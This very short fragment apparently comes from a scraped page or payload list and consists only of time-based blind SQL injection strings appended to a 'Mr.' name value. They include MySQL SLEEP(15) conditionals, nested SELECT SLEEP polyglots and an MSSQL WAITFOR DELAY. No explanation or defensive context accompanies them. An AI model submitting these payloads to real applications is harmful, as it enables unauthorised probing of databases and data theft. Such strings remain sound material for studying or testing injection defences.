MR.0\"XOR(IF(NOW()=SYSDATE(),SLEEP(15),0))XOR\"Z  
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  Mr.0\"XOR(if(now()=sysdate(),sleep(15),0))XOR\"Z (select(0)from(select(sleep(15)))v)/*\'+(select(0)from(select(sleep(15)))v)+\'\"+(select(0)from(select(sleep(15)))v)+\"*/ Mr.-1 waitfor delay \'0:0:15\' --